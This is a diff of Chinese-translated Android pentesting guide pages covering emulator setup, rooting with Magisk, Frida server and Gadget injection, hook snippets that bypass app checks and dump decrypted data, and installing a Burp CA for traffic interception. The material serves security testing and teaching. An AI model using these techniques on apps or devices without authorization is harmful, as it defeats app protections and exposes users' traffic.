- 某些检测会在关键流程(例如 payment、auth中重新触发 — 在导航过程中保持 hooks 激活
- 结合静态与动态:在 Jadx 中进行 string hunt 以筛选类;然后 hook 方法以在 runtime 验证
- 被 Hardened 的应用可能使用 packers 和 native TLS pinning — 预计需要 reverse native code
- 当应用在启动时崩溃时,优先延后 attaching 而不是 spawning
- 一些检测会在关键流程中重新运行(例如 payment、auth— 在导航期间保持 hooks 活动
- 结合静态与动态:在 Jadx 中进行 string hunt 以筛选类;然后 hook methods 在 runtime 验证
- 被加固的应用可能使用 packers 和 native TLS pinning — 预计需要 reverse native code
## References
## 参考资料
- [Reversing Android Apps: Bypassing Detection Like a Pro](https://www.kayssel.com/newsletter/issue-12/)
- [Frida Codeshare](https://codeshare.frida.re/)

View File

@ -1,34 +1,34 @@
# AVD - Android Virtual Device
# AVD - Android 虚拟设备
{{#include ../../banners/hacktricks-training.md}}
非常感谢 [**@offsecjay**](https://twitter.com/offsecjay) 在创建内容时提供的帮助。
非常感谢 [**@offsecjay**](https://twitter.com/offsecjay) 在创建这些内容时提供的帮助。
## 什么是
Android Studio 允许你**运行 Android 虚拟机以测试 APKs**。要使用它们,你需要:
Android Studio 允许你**运行 Android 虚拟机以测试 APKs**。要使用它们,你需要:
- The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
- Or **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio).
- 安装 **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
- 或者 **Android Studio**(包含 Android SDK tools - [Download here](https://developer.android.com/studio).
在 Windows以我为例**安装 Android Studio 后**,我的 **SDK Tools 安装在**`C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
在 Windows以我为例**安装 Android Studio 后**,我的 **SDK Tools 安装在** `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
在 mac 上你可以 **download the SDK tools** 并通过运行以下命令将它们加入 PATH
在 mac 上,你可以**下载 SDK tools**并通过运行以下命令将其加入 PATH
```bash
brew tap homebrew/cask
brew install --cask android-sdk
```
或者**Android Studio GUI** 按照 [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) 所述安装,这会把它们安装到 `~/Library/Android/sdk/cmdline-tools/latest/bin/``~/Library/Android/sdk/platform-tools/``~/Library/Android/sdk/emulator/`
或者通过 **Android Studio GUI** 如在 [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) 所示,这会将它们安装到 `~/Library/Android/sdk/cmdline-tools/latest/bin/``~/Library/Android/sdk/platform-tools/``~/Library/Android/sdk/emulator/`
对于 Java 问题:
```java
export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
```
## 图形界面 (GUI)
## GUI
### 准备虚拟机
### Prepare Virtual Machine
如果你安装 Android Studio你可以打开主项目视图并访问_**Tools**_ --> _**AVD Manager.**_
如果你安装 Android Studio你可以打开主项目视图并访问_**Tools**_ --> _**AVD Manager.**_
<div align="center" data-full-width="false">
@ -36,38 +36,38 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
</div>
然后,点击 _**Create Virtual Device**_
Then, click on _**Create Virtual Device**_
<figure><img src="../../images/image (1143).png" alt="" width="188"><figcaption></figcaption></figure>
_**选择** 使用的手机_ 并点击 _**Next.**_
_**选择** 你想使用的手机_ 并点击 _**Next.**_
> [!WARNING]
> 如果你需要带有 Play Store 的手机,请选择带有 Play Store 图标的机型
> 如果你需要安装了 Play Store 的手机,请选择带有 Play Store 图标的设备
>
> <img src="../../images/image (1144).png" alt="" data-size="original">
在当前视图中,你可以**选择并下载手机将运行的 Android 镜像**
在当前视图中,你可以**选择并下载手机将运行的 Android 镜像**
<figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
所以,选择它;如果还没下载,请点击名称旁的 _**Download**_ 图标(**现在等待镜像下载完成**)。\
镜像下载完成后,选择 **`Next`** 然后 **`Finish`**。
因此,选择它;如果它尚未下载,点击名称旁的 _**Download**_ 图标(**现在等到镜像下载完成**)。\
一旦镜像下载完成,选择 **`Next`** 和 **`Finish`.**
虚拟机将被创建。现在 **每次访问 AVD manager 时它都会出现**。
虚拟机将被创建。现在 **每次你访问 AVD manager 时它都会存在**。
### 运行虚拟机
### Run Virtual Machine
要**运行**它,只需按下 _**Start button**_
![](<../../images/image (518).png>)
## 命令行工具
## Command Line tool
> [!WARNING]
> 在 macOS 上,如果已安装,你可以在 `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` 找到 `avdmanager` 工具,在 `/Users/<username>/Library/Android/sdk/emulator/emulator` 找到 `emulator`
> 对于 macOS,你可以在 `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` 找到 `avdmanager` 工具,在 `/Users/<username>/Library/Android/sdk/emulator/emulator` 找到 `emulator`,如果你已安装它们
首先你需要**决定你要使用哪个手机**,要查看可用手机列表,执行:
首先你需要**决定你想使用哪部手机**,要查看可用手机列表,请执行:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
@ -95,12 +95,12 @@ Name: Nexus 10
OEM : Google
[...]
```
一旦你决定了要使用的设备名称,你需要 **决定要在该设备上运行哪个 Android 镜像。**\
一旦你确定了要使用的设备名称,你需要**决定在该设备上运行哪个 Android 镜像。**\
你可以使用 `sdkmanager` 列出所有选项:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
```
然后用下面的命令**下载**你想使用的那个(或全部):
然后使用下面的命令**下载**你想使用的一个(或全部):
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
```
@ -120,12 +120,12 @@ Type: Platform
API level: 29
Revision: 4
```
时你已经确定了要使用的设备并下载了 Android 镜像,所以 **你可以使用以下方法创建虚拟机**
刻你已确定要使用的设备并已下载 Android 镜像,因此 **你可以使用以下方式创建虚拟机**
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
```
在上一个命令中 **我创建了一个名为** "_AVD9_" 的 VM使用 **设备** "_Nexus 5X_" 和 **Android 镜像** "_system-images;android-28;google_apis;x86_64_"。\
现在你可以使用下面的命令 **列出你已创建的虚拟机**
在上一个命令中**我创建了一个名为** "_AVD9_" 的 VM使用了 **设备** "_Nexus 5X_" 和 **Android 映像** "_system-images;android-28;google_apis;x86_64_"。\
现在你可以使用下命令 **列出你已创建的虚拟机**
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
@ -143,52 +143,52 @@ Error: Google pixel_2 no longer exists as a device
### 运行虚拟机
> [!WARNING]
> 对于 macOS,如果已安装,你可以在 `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` 找到 `avdmanager` 工具,在 `/Users/<username>/Library/Android/sdk/emulator/emulator` 找到 `emulator`
> 在 macOS 上,如果已安装,你可以在 `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` 找到 `avdmanager` 工具,`/Users/<username>/Library/Android/sdk/emulator/emulator` 找到 `emulator`
我们已经看到如何列出已创建的虚拟机,但**你也可以使用以下方式列出它们**
我们已经看到如何列出已创建的虚拟机,但 **你也可以使用以下命令列出它们**
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
AVD9
Pixel_2_API_27
```
您可以简单地使用以下命令 **运行任何已创建的虚拟机**
你可以简单地使用以下命令**运行任何已创建的虚拟机**
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
```
或者使用更高级的选项,你可以运行类似这样的虚拟机
或者使用更高级的选项,你可以运行一个虚拟机,例如
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
### 命令行选项
不过有 **许多不同的有用命令行选项** 可用于启动虚拟机。下面列出一些有意思的选项,但可以 [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
不过有很多不同的有用命令行选项可以用来启动虚拟机。下面列出一些有趣的选项,但可以在[**在这里查看完整列表**](https://developer.android.com/studio/run/emulator-commandline)
**Boot**
- `-snapshot name` : Start VM snapshot
- `-snapshot name` : 启动 VM 快照
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : 列出记录的所有快照
**Network**
- `-dns-server 192.0.2.0, 192.0.2.255` : 允许为 VM 指定以逗号分隔的 DNS 服务器。
- **`-http-proxy 192.168.1.12:8080`** : 允许指定要使用的 HTTP 代理(在使用 Burp 捕获流量时非常有用)
- If the proxy settings aren't working for some reason, try to configure them internally or using an pplication like "Super Proxy" or "ProxyDroid".
- `-netdelay 200` : 以毫秒为单位设置网络延迟仿真。
- `-dns-server 192.0.2.0, 192.0.2.255` : 允许以逗号分隔的方式为 VM 指定 DNS 服务器。
- **`-http-proxy 192.168.1.12:8080`** : 允许指定要使用的 HTTP 代理(对使用 Burp 捕获流量非常有用)
- 如果代理设置因某种原因无法生效,尝试在系统内配置它们或使用像 "Super Proxy" 或 "ProxyDroid" 这样的应用。
- `-netdelay 200` : 设置网络延迟仿真(以毫秒为单位)
- `-port 5556` : 设置用于控制台和 adb 的 TCP 端口号。
- `-ports 5556,5559` : 设置用于控制台和 adb 的 TCP 端口。
- **`-tcpdump /path/dumpfile.cap`** : 将所有流量捕获到文件中
**System**
- `-selinux {disabled|permissive}` : 将 Security-Enhanced Linux 安全模块设置为 disabled 或 permissive 模式(在 Linux 操作系统上)。
- `-selinux {disabled|permissive}` : 将 Security-Enhanced Linux 安全模块设置为 disabled 或 permissive 模式(适用于 Linux 操作系统)。
- `-timezone Europe/Paris` : 为虚拟设备设置时区
- `-screen {touch(default)|multi-touch|o-touch}` : 设置模拟触摸屏模式。
- **`-writable-system`** : 使用此选项可在仿真会话期间使系统镜像可写。你还需要运行 `adb root; adb remount`。这对于在系统中安装新证书非常有用。
- **`-writable-system`** : 使用此选项可在仿真会话期间使 system 镜像可写。你还需要运行 `adb root; adb remount`。这对于在系统中安装新证书非常有用。
## Linux CLI setup (SDK/AVD quickstart)
官方 CLI 工具让在不使用 Android Studio 的情况下轻松创建快速且可调试的模拟器。
官方 CLI 工具使得无需 Android Studio 也能轻松创建快速且可调试的模拟器。
```bash
# Directory layout
mkdir -p ~/Android/cmdline-tools/latest
@ -216,10 +216,10 @@ emulator -avd PixelRootX86 -writable-system -snapshot PixelRootX86_snap
adb root
adb shell whoami # expect: root
```
- 系统镜像类型: google_apis (可调试,允许 adb root), google_apis_playstore (不可 root), aosp/default (轻量级).
- 构建类型: userdebug 通常允许在支持调试的镜像上运行 `adb root`。Play Store images 属于生产构建,会阻止 root。
- 在 x86_64 主机上,从 API 28+ 起不支持全系统 ARM64 模拟。对于 Android 11+,使用包含 per-app ARM-to-x86 translation 的 Google APIs/Play images 来快速运行许多仅限 ARM 的应用。
意事项
- 系统镜像类型google_apis可调试允许 adb rootgoogle_apis_playstore不可 rootaosp/default轻量
- 构建类型userdebug 通常允许在支持调试的镜像上使用 `adb root`。Play Store 镜像是生产构建并阻止 root。
- 在 x86_64 主机上,从 API 28+ 起不支持整系统 ARM64 仿真。对于 Android 11+,使用包含每应用 ARM-to-x86 翻译的 Google APIs/Play 镜像,以快速运行许多仅 ARM 的应用。
### 来自 CLI 的快照
```bash
@ -231,37 +231,37 @@ emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
```
## ARM→x86 二进制翻译 (Android 11+)
在 Android 11+ 上,Google APIs 和 Play Store 镜像可以按进程翻译 ARM 应用二进制文件,同时保持系统其余部分为原生 x86/x86_64。这通常足够快在桌面上测试许多仅支持 ARM 的应用。
Google APIs 和 Play Store 镜像在 Android 11+ 上可以按进程翻译 ARM 应用二进制,同时保持系统其余部分为原生 x86/x86_64。这通常足够快可在桌面上测试许多仅支持 ARM 的应用。
> Tip: 在 pentests 期间优先使用 Google APIs x86/x86_64 镜像。Play images 使用起来方便,但会阻止 `adb root`;只有在你确实需要 Play services 并接受无法获得 root 的情况下才使用它们。
> 提示:在 pentests 期间优先使用 Google APIs x86/x86_64 镜像。Play 镜像使用方便但会阻止 `adb root`;只有在你确实需要 Play services 并接受无法获得 root 的情况下才使用它们。
## Rooting a Play Store device
## 在 Play Store 设备上获取 root
如果你下载了带有 Play Store 的设备,你将无法直接获得 root并且会看到如下错误信息
如果你下载的是带有 Play Store 的设备,你将无法直接获得 root并且会收到如下错误信息
```
$ adb root
adbd cannot run as root in production builds
```
Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) 我能够对其进行 root例如参见 [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **或** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8))。
使用 [rootAVD](https://github.com/newbit1/rootAVD) 和 [Magisk](https://github.com/topjohnwu/Magisk),我成功将其 root例如参照 [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **or** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8))。
## 安装 Burp 证书
## Install Burp Certificate
请查看以下页面以了解如何安装自定义 CA 证书:
Check the following page to learn how to install a custom CA cert:
{{#ref}}
install-burp-certificate.md
{{#endref}}
## 实用的 AVD 选项
## Nice AVD Options
### 创建快照
### Take a Snapshot
你可以**使用 GUI**随时对 VM 创建快照:
You can **use the GUI** to take a snapshot of the VM at any time:
![](<../../images/image (234).png>)
## 参考资料
## References
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Android Emulator command line](https://developer.android.com/studio/run/emulator-commandline)

View File

@ -10,22 +10,22 @@
pip install frida-tools
pip install frida
```
**下载并安装** 在 android 上 **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
用于重启 adb 到 root 模式、连接到设备、上传 frida-server、赋予 exec 权限并在后台运行的一行命令
**在 Android 设备上下载并安装** **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
一行命令用于以 root 模式重启 adb、连接设备、上传 frida-server、赋予可执行权限并在后台运行
```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
```
**检查** 它是否 **正常工作**
**检查** 是否 **正常工作**:
```bash
frida-ps -U #List packages and processes
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
```
## Frida server Gadget (root vs. no-root)
## Frida server vs. Gadget (root vs. no-root)
使用 Frida 对 Android 应用进行插装的两种常见方
使用 Frida 对 Android 应用进行插装的两种常见方
- Frida server (rooted devices): 将一个本地守护进程推送并运行,使你可以附加到任意进程。
- Frida Gadget (no root): 将 Frida 作为共享库捆绑到 APK 内,并在目标进程中自动加载它
- Frida server (rooted devices): 将一个本地守护进程推送并运行,以便可以附加到任意进程。
- Frida Gadget (no root): 将 Frida 作为共享库打包进 APK并在目标进程中自动加载
Frida server (rooted)
```bash
@ -43,8 +43,8 @@ frida -U -n com.example.app
Frida Gadget (no-root)
1) 解包 APK添加 gadget .so 和配置:
- 将 libfrida-gadget.so 放入 lib/<abi>/(例如 lib/arm64-v8a/
- 创建 assets/frida-gadget.config包含你用于加载脚本的设置
- 将 libfrida-gadget.so 放到 lib/<abi>/ (例如lib/arm64-v8a/)
- 在 assets/frida-gadget.config 中创建你的脚本加载设置
示例 frida-gadget.config
```json
@ -53,8 +53,8 @@ Frida Gadget (no-root)
"runtime": { "logFile": "/sdcard/frida-gadget.log" }
}
```
2) 引用/加载 gadget 以便尽早初始化:
- 最简单:在 Application.onCreate() 中添加一个小的 Java stub调用 System.loadLibrary("frida-gadget"),或者使用已存在的 native lib loading。
2) 引用/加载 gadget 以便尽早初始化:
- 最简单的方法:在 Application.onCreate() 中添加一个小的 Java stub调用 System.loadLibrary("frida-gadget"),或者使用已的 native lib loading。
3) 重新打包并签名 APK然后安装
```bash
@ -64,40 +64,40 @@ apktool b app_m -o app_gadget.apk
uber-apk-signer -a app_gadget.apk -o out_signed
adb install -r out_signed/app_gadget-aligned-debugSigned.apk
```
4) 从主机附加到 gadget 进程
4) 从主机附加到 gadget 进程:
```bash
frida-ps -Uai
frida -U -n com.example.app
```
注意
- Gadget 会被某些防护检测到;如有必要,请保持 名称/路径 隐蔽,并在加载时延后或按条件加载。
- 对于加固的 apps优先使用 rooted testing with server + late attach或与 Magisk/Zygisk hiding 结合使用。
- Gadget 会被某些保护检测到;如有需要,请保持名称/路径隐蔽,并在较晚或有条件时再加载。
- 对于加固的应用,优先使用 root 测试并结合 server + late attach或与 Magisk/Zygisk 隐藏结合使用。
## 教程
### [Tutorial 1](frida-tutorial-1.md)
**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**来源**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
**源码**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
**参见 [link to read it](frida-tutorial-1.md).**
**Follow the [link to read it](frida-tutorial-1.md).**
### [Tutorial 2](frida-tutorial-2.md)
**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**来源**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APKs 和 源码**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**参见[ link to read it.](frida-tutorial-2.md)**
**Follow the[ link to read it.](frida-tutorial-2.md)**
### [Tutorial 3](owaspuncrackable-1.md)
**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**来源**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
**参见 [link to read it](owaspuncrackable-1.md).**
**Follow the [link to read it](owaspuncrackable-1.md).**
**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
**你可以在这里找到更多 Awesome Frida 脚本:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
## 快速示例
@ -125,7 +125,7 @@ print('[ * ] Running Frida Demo application')
script.load()
sys.stdin.read()
```
### Hooking 无参数函数
### Hooking functions without parameters
Hook 类 `sg.vantagepoint.a.c` 的函数 `a()`
```javascript
@ -137,14 +137,14 @@ return false;
};
});
```
拦截 java `exit()`
Hook java `exit()`
```javascript
var sysexit = Java.use("java.lang.System")
sysexit.exit.overload("int").implementation = function (var_0) {
send("java.lang.System.exit(I)V // We avoid exiting the application :)")
}
```
Hook MainActivity `.onStart()` & `.onCreate()`
Hook MainActivity `.onStart()` `.onCreate()`
```javascript
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity")
mainactivity.onStart.overload().implementation = function () {
@ -158,7 +158,7 @@ send("MainActivity.onCreate() HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
Hook android `.onCreate()`
Hook android `.onCreate()`
```javascript
var activity = Java.use("android.app.Activity")
activity.onCreate.overload("android.os.Bundle").implementation = function (
@ -168,9 +168,9 @@ send("Activity HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
### Hooking 带参数的函数并获取返回值
### 对带参数的函数进行 Hook 并获取返回值
Hooking a decryption function。打印输入,调用原始函数 decrypt 输入最后打印明文数据:
对一个解密函数进行 Hook。打印输入调用原始函数对输入进行 decrypt最后打印明文数据
```javascript
function getString(data) {
var ret = ""
@ -195,9 +195,9 @@ send("Decrypted flag: " + flag)
return ret //[B
}
```
### Hooking 函数并使用我们的输入调用它们
### Hooking 函数并用我们的输入调用它们
Hook 一个接收 string 的函数,并用另一个 string 调用它(来自 [here](https://11x256.github.io/Frida-hooking-android-part-2/)
钩取一个接收 string 的函数,并用另一个 string 调用它 (来自 [here](https://11x256.github.io/Frida-hooking-android-part-2/))
```javascript
var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class
@ -210,11 +210,11 @@ console.log("Return value: " + ret)
return ret
}
```
### 获取已创建类对象
### 获取已创建类对象
如果想提取已创建对象的某个属性,可以使用下面的方法。
如果想提取已创建对象的某个属性,可以使用下面的方法。
在这个示例中,你将看到如何获取类 my_activity 的对象以及如何调用函数 .secret()打印该对象的私有属性:
在这个示例中,你将看到如何获取类 my_activity 的对象以及如何调用函数 .secret(),该函数将打印该对象的私有属性:
```javascript
Java.choose("com.example.a11x256.frida_test.my_activity", {
onMatch: function (instance) {
@ -228,13 +228,13 @@ onComplete: function () {},
## 其他 Frida 教程
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
- [高级 Frida 用法 博客系列 第1部分IOS 加密库](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
- [高级 Frida 用法 博客系列 第1部分iOS 加密库](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
## 参考资料
- [构建可复现的 Android Bug Bounty 实验室Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [构建可复现的 Android 漏洞赏金 实验室:模拟器 vs Magisk、Burp、Frida 和 Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Frida Gadget 文档](https://frida.re/docs/gadget/)
- [Frida 发布(服务器二进制)](https://github.com/frida/frida/releases)
- [Frida releases (服务器二进制)](https://github.com/frida/frida/releases)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -3,9 +3,9 @@
{{#include ../../banners/hacktricks-training.md}}
## 通过 ADB 配置系统级代理
## 通过 ADB 设置系统范围代理
配置一个全局 HTTP 代理,使所有应用的流量通过你的拦截器 (Burp/mitmproxy) 路由
配置全局 HTTP 代理使所有应用的流量都通过你的拦截器Burp/mitmproxy
```bash
# Set proxy (device/emulator must reach your host IP)
adb shell settings put global http_proxy 192.168.1.2:8080
@ -13,7 +13,7 @@ adb shell settings put global http_proxy 192.168.1.2:8080
# Clear proxy
adb shell settings put global http_proxy :0
```
Tip在 Burp 中,将监听器绑定到 0.0.0.0,这样 LAN 中的设备就可以连接Proxy -> Options -> Proxy Listeners
提示:在 Burp 中,将监听器绑定到 0.0.0.0,这样局域网设备就可以连接Proxy -> Options -> Proxy Listeners
## 在虚拟机上
@ -21,12 +21,12 @@ Tip在 Burp 中,将监听器绑定到 0.0.0.0,这样 LAN 中的设备就
![](<../../images/image (367).png>)
**以 Der 格式导出证书**,然后把它**转换**为 **Android** 能够**识别**的格式。注意,**要在 AVD 中的 Android 机器上配置 Burp 证书**你需要**使用** **`-writable-system`** 选项**运行**该机。\
例如你可以运行它像
**将证书以 Der 格式导出**,然后把它**转换**为 **Android** 能够**识别**的格式。注意,**要在 AVD 中的 Android 机器上配置 Burp 证书**需要以 **`-writable-system`** 选项**运行**该虚拟机。\
例如你可以这样运行:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
然后,要 **配置 burps certificate**
然后,要 **配置 burps 证书**
```bash
openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
@ -37,15 +37,15 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
adb reboot #Now, reboot the machine
```
一旦 **机器完成重启**Burp 证书就会被其使用!
一旦机器完成重启Burp 证书将被其使用!
## 使用 Magisc
## Using Magisc
If you **rooted your device with Magisc**(可能是模拟器),并且你 **无法按照** 之前的 **步骤** 安装 Burp 证书,因为 **文件系统为只读** 且无法重新挂载为可写,还有另一种方法。
如果你使用 Magisc 对设备进行了 root可能是模拟器并且因为文件系统为只读且无法重新挂载为可写而**无法按照之前的步骤安装 Burp 证书**,还有另一种方法。
[**这个视频**](https://www.youtube.com/watch?v=qQicUW0svB8) 解,你需要:
[**this video**](https://www.youtube.com/watch?v=qQicUW0svB8)中解释了,你需要:
1. **Install a CA certificate**: 只需将 DER 格式的 Burp 证书拖放(将扩展名改为 `.crt`)到手机,使其存储在 Downloads 文件夹中,然后进入 `Install a certificate` -> `CA certificate`
1. **Install a CA certificate**: 只需将 DER 格式的 Burp 证书拖放到手机上,并将扩展名改为 `.crt`,使其保存在 Downloads 文件夹,然后进入 `Install a certificate` -> `CA certificate`
<figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
@ -53,27 +53,27 @@ If you **rooted your device with Magisc**(可能是模拟器),并且你 **
<figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Make it System trusted**: 下载 Magisc 模块 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个 .zip 文件),将其拖放到手机,打开手机上的 Magics app进入 **`Modules`** 部分,点击 **`Install from storage`**,选择该 `.zip` 模块,安装完成后 **重启** 手机:
2. **Make it System trusted**: 下载 Magisc 模块 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个 .zip 文件),将其拖放到手机,在手机上的 Magics 应用中进入 `Modules` 部分,点击 `Install from storage`,选择该 `.zip` 模块并在安装完成后重启手机:
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
- 重启后,进入 `Trusted credentials` -> `SYSTEM` 并检查 Postswigger cert 是否存在
- 重启后,进入 `Trusted credentials` -> `SYSTEM` 检查 Postswigger 证书是否存在
<figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
### Learn how to create a Magisc module
查看 [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
查看 https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437
## Post Android 14
在最新的 Android 14 版本中,对系统信任的证书颁发机构 (CA) 证书的处理方式发生了重大变化。之前,这些证书存放在 **`/system/etc/security/cacerts/`**,具有 root 权限的用户可以访问并修改它们,从而能够立即在整个系统中生效。然而,在 Android 14 中,存储位置已迁移到 **`/apex/com.android.conscrypt/cacerts`**,这是 **`/apex`** 路径内的目录,天生为不可变
在最新的 Android 14 版本中,系统受信任的 CA 证书处理方式发生了重大变化。此前,这些证书存放在 **`/system/etc/security/cacerts/`**,有 root 权限的用户可以访问和修改,从而立即在系统范围内生效。然而在 Android 14 中,存储位置已移动到 **`/apex/com.android.conscrypt/cacerts`**,这是位于 **`/apex`** 路径下的目录,而该目录本质上是不可变的
试图将 **APEX cacerts path** 重新挂载为可写会失败,系统不允许此类操作。即使尝试卸载或用临时文件系统 (tmpfs) 覆盖该目录,也无法绕过这种不可变性;应用程序仍会访问原始证书数据,而不受文件系统层面更改的影响。这种强韧性来自 **`/apex`** 挂载被配置为具有 PRIVATE propagation确保 **`/apex`** 目录内的任何修改不会影响其他进程。
尝试将 **APEX cacerts 路径** 重新挂载为可写将会失败系统不允许此类操作。即使尝试卸载或用临时文件系统tmpfs覆盖该目录也无法绕过不可变性应用程序仍然会访问原始的证书数据而不会受文件系统层面的更改影响。这种鲁棒性源于 **`/apex`** 挂载被配置为 PRIVATE 传播,确保对 **`/apex`** 目录的任何修改不会影响其他进程。
Android 的初始化涉及 `init` 进程,该进程在启动操作系统时还会启动 Zygote 进程。Zygote 负责以包含私有 **`/apex`** 挂载的新挂载命名空间启动应用进程,从而将对该目录的更改与其他进程隔离开来
Android 的初始化`init` 进程负责,在启动操作系统时,`init` 同时也会启动 Zygote 进程。Zygote 负责以包含私有 **`/apex`** 挂载的新挂载命名空间启动应用进程,从而将对该目录的更改与其他进程隔离。
